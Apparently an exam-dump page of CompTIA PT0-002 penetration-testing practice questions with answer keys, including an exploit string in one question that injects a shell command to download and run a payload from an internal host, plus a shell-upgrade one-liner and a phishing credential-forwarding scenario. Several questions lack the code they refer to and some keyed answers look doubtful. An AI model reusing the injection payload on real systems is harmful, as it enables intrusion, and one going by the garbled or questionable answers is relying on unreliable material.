Latest [Apr 02, 2024] Realistic Verified PT0-002 Dumps
Pass CompTIA PT0-002 Exam Updated 360 Questions
Learn about the benefits of the CompTIA PT0-002 Certification Exam
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Promotion: If you work in a company, the company will appreciate your skills and expertise. It will promote you in the company and help you get a promotion. Assessments for the promotion will be based on the skills and knowledge you have gained by taking the CompTIA PT0-002 Certification Exam.
Skills: The CompTIA PT0-002 Certification Exam will help you gain the skills of a penetration tester. You will be able to get the required skills to do penetration testing. It will also help you get knowledge of security.
Better job: With the CompTIA PT0-002 Certification Exam, you will be able to get a better job. It is a requirement for the security professionals to have the CompTIA PT0-002 Certification Exam. The question that appears in the CompTIA PT0-002 Certification Exam is a very critical one.
Certification: It will give you the recognition of the company, and the certification will help you get the job. After getting this certification, you can be an experienced pen-tester.
NEW QUESTION # 47
A penetration tester was able to compromise a server and escalate privileges. Which of the following should the tester perform AFTER concluding the activities on the specified target? (Choose two.)
- A. Remove the logs from the server.
- B. Disable the running services.
- C. Restore the server backup.
- D. Reboot the target server.
- E. Remove any tools or scripts that were installed.
- F. Delete any created credentials.
Answer: E,F
NEW QUESTION # 48
During the reconnaissance phase, a penetration tester obtains the following output:
Reply from 192.168.1.23: bytes=32 time<54ms TTL=128
Reply from 192.168.1.23: bytes=32 time<53ms TTL=128
Reply from 192.168.1.23: bytes=32 time<60ms TTL=128
Reply from 192.168.1.23: bytes=32 time<51ms TTL=128
Which of the following operating systems is MOST likely installed on the host?
- A. macOS
- B. Windows
- C. Linux
- D. NetBSD
Answer: B
Explanation:
Explanation
The output shows the result of a ping command, which sends packets to a host and receives replies. The ping command can be used to determine if a host is alive and reachable on the network. One of the information that the ping command displays is the Time to Live (TTL) value, which indicates how many hops a packet can travel before it is discarded. The TTL value can also be used to guess the operating system of the host, as different operating systems have different default TTL values. In this case, the TTL value is 128, which is the default value for Windows operating systems. Linux and macOS have a default TTL value of 64, while NetBSD has a default TTL value of 255.
NEW QUESTION # 49
A penetration tester was able to gather MD5 hashes from a server and crack the hashes easily with rainbow tables.
Which of the following should be included as a recommendation in the remediation report?
- A. Stronger algorithmic requirements
- B. Encryption on the user passwords
- C. Access controls on the server
- D. A patch management program
Answer: A
NEW QUESTION # 50
A software company has hired a security consultant to assess the security of the company's software development practices. The consultant opts to begin reconnaissance by performing fuzzing on a software binary. Which of the following vulnerabilities is the security consultant MOST likely to identify?
- A. Buffer overflows
- B. Weak authentication schemes
- C. Credentials stored in strings
- D. Non-optimized resource management
Answer: A
Explanation:
fuzzing introduces unexpected inputs into a system and watches to see if the system has any negative reactions to the inputs that indicate security, performance, or quality gaps or issues
NEW QUESTION # 51
A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application.
Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?
- A. w3af
- B. SQLmap
- C. OWASP ZAP
- D. DirBuster
Answer: A
Explanation:
W3AF, the Web Application Attack and Audit Framework, is an open source web application security scanner that includes directory and filename bruteforcing in its list of capabilities.
NEW QUESTION # 52
A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?
- A. rm -rf /tmp/apache
- B. grep -v apache ~/.bash_history > ~/.bash_history
- C. taskkill /IM "apache" /F
- D. chmod 600 /tmp/apache
Answer: A
NEW QUESTION # 53
Which of the following expressions in Python increase a variable val by one (Choose two.)
- A. val=val++
- B. +val
- C. val=(val+1)
- D. val+=1
- E. val++
- F. ++val
Answer: C,D
Explanation:
In Python, there are two ways to increase a variable by one: using the assignment operator (=) with an arithmetic expression, or using the augmented assignment operator (+=). The expressions val=(val+1) and val+=1 both achieve this goal. The expressions val++ and ++val are not valid in Python, as there is no increment operator. The expressions +val and val=val++ do not change the value of val2.
https://pythonguides.com/increment-and-decrement-operators-in-python/
NEW QUESTION # 54
A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?
- A. Ping of death
- B. Ping flood
- C. Smurf
- D. Fraggle
Answer: D
Explanation:
Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.
Ref: https://www.okta.com/identity-101/fraggle-attack/
NEW QUESTION # 55
Which of the following tools would be BEST suited to perform a manual web application security assessment?
(Choose two.)
- A. Nessus
- B. Burp Suite
- C. Hydra
- D. BeEF
- E. OWASP ZAP
- F. Nmap
Answer: B,E
NEW QUESTION # 56
A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?
- A. Continue the engagement and include the backdoor finding in the final report
- B. Utilize the backdoor in support of the engagement
- C. Inform the customer immediately about the backdoor
- D. Forensically acquire the backdoor Trojan and perform attribution
Answer: A
NEW QUESTION # 57
Which of the following assessment methods is the most likely to cause harm to an ICS environment?
- A. Packet analysis
- B. Protocol reversing
- C. Ping sweep
- D. Active scanning
Answer: D
Explanation:
Active scanning is the process of sending probes or packets to a target system or network and analyzing the responses to gather information or identify vulnerabilities. Active scanning can be intrusive and disruptive, especially in an ICS environment, where availability and reliability are critical. Active scanning can cause unintended consequences, such as triggering alarms, shutting down devices, or affecting physical processes. Therefore, active scanning is the most likely to cause harm to an ICS environment among the given options. Reference:
* The Official CompTIA PenTest+ Study Guide (Exam PT0-002), Chapter 2: Conducting Passive Reconnaissance, page 72-73.
* The Official CompTIA PenTest+ Student Guide (Exam PT0-002) eBook1, Chapter 2: Conducting Passive Reconnaissance, page 2-20.
* Risk Assessment Standards for ICS Environments2, page 8.
NEW QUESTION # 58
A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.
Which of the following changes should the tester apply to make the script work as intended?
- A. Change line 2 to $ip= 10.192.168.253;
- B. Remove lines 3, 5, and 6.
- C. Remove line 6.
- D. Move all the lines below line 7 to the top of the script.
Answer: B
Explanation:
https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html
Example script:
#!/usr/bin/perl
$ip=$argv[1];
attack($ip);
sub attack {
print("x");
}
NEW QUESTION # 59
A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command:
Which of the following represents what the penetration tester is attempting to accomplish?
- A. ARP poisoning
- B. Double-tagging attack
- C. DNS cache poisoning
- D. MAC spoofing
Answer: B
Explanation:
https://scapy.readthedocs.io/en/latest/usage.html
NEW QUESTION # 60
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:
Which of the following tools will help the tester prepare an attack for this scenario?
- A. Nmap and OWASP ZAP
- B. Burp Suite and DIRB
- C. Hydra and crunch
- D. Netcat and cURL
Answer: D
NEW QUESTION # 61
A penetration tester writes the following script:
Which of the following is the tester performing?
- A. Building a reverse shell listening on specified ports
- B. Scanning a network for specific open ports
- C. Searching for service vulnerabilities
- D. Trying to recover a lost bind shell
Answer: B
Explanation:
Explanation
-z zero-I/O mode [used for scanning]
-v verbose
example output of script:
10.0.0.1: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.0.1] 22 (ssh) open
(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out
https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for
NEW QUESTION # 62
A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following:
python -c 'import pty; pty.spawn("/bin/bash")'
Which of the following actions Is the penetration tester performing?
- A. Building a bind shell
- B. Privilege escalation
- C. Writing a script for persistence
- D. Upgrading the shell
Answer: D
Explanation:
Explanation
The penetration tester is performing an action called upgrading the shell, which means improving the functionality and interactivity of the shell. By running the python command, the penetration tester is spawning a new bash shell that has features such as tab completion, command history, and job control. This can help the penetration tester to execute commands more easily and efficiently.
NEW QUESTION # 63
For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to
https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:
Which of the following lines of code should the security engineer add to make the attack successful?
- A. crossDomain: true
- B. window.location.= 'https://evilcorp.com'
- C. geturlparameter ('username')
- D. redirectUrl = 'https://example.com'
Answer: A
NEW QUESTION # 64
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CompTIA PT0-002 certification exam covers a wide range of topics, including understanding the penetration testing methodology, legal and compliance issues, and technical skills used in penetration testing. CompTIA PenTest+ Certification certification exam is beneficial because it validates the candidate's knowledge and skills in securing data and networks through penetration testing. PT0-002 exam measures the candidate's ability to analyze the risks, identify vulnerabilities, exploit them, and learn from the results.
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